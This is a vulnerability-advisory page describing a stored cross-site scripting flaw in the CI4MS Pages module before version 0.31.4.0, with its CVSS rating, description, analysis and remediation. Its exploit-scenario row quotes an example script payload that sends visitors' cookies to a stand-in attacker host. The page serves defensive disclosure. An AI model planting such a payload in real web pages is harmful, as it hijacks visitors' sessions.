EUVD-2026-20485
GHSA-fjpj-6qcq-6pw2
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page. This vulnerability is fixed in 0.31.4.0.
AnalysisAI
Stored cross-site scripting (XSS) in CI4MS prior to 0.31.4.0 allows authenticated administrators with page-editing privileges to inject arbitrary JavaScript into page content that executes in the browsers of all public visitors. The Pages module fails to apply HTML sanitization during content creation and updates, storing unsanitized HTML directly in the database and rendering it without escaping on the frontend, whereas the Blog module correctly implements this protection. …
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Vulnerability AssessmentAI
| Risk Assessment | CVSS 5.5 reflects a network-based attack with low complexity and no user interaction required (UI:N), but requires high-privilege credentials (PR:H), limiting the attack surface to administrators or compromised admin accounts. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with compromised or legitimately-held administrator credentials logs into CI4MS and navigates to the Pages module. They create or edit a page and inject a JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>) into the page content field. … |
| Remediation | Vendor-released patch: CI4MS 0.31.4.0 or later. … Detailed patch versions, workarounds, and compensating controls in full report. |
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